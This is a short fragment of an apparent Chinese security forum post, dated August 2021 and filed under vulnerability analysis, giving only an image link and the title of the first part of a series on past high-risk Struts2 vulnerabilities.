[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-baf4b09d19a541504b1b0c79332bc8e380d3416d.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-baf4b09d19a541504b1b0c79332bc8e380d3416d.png)

发表于 2021-08-31 17:18:30
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分类：漏洞分析

Struts2历史高危漏洞分析系列：(一)

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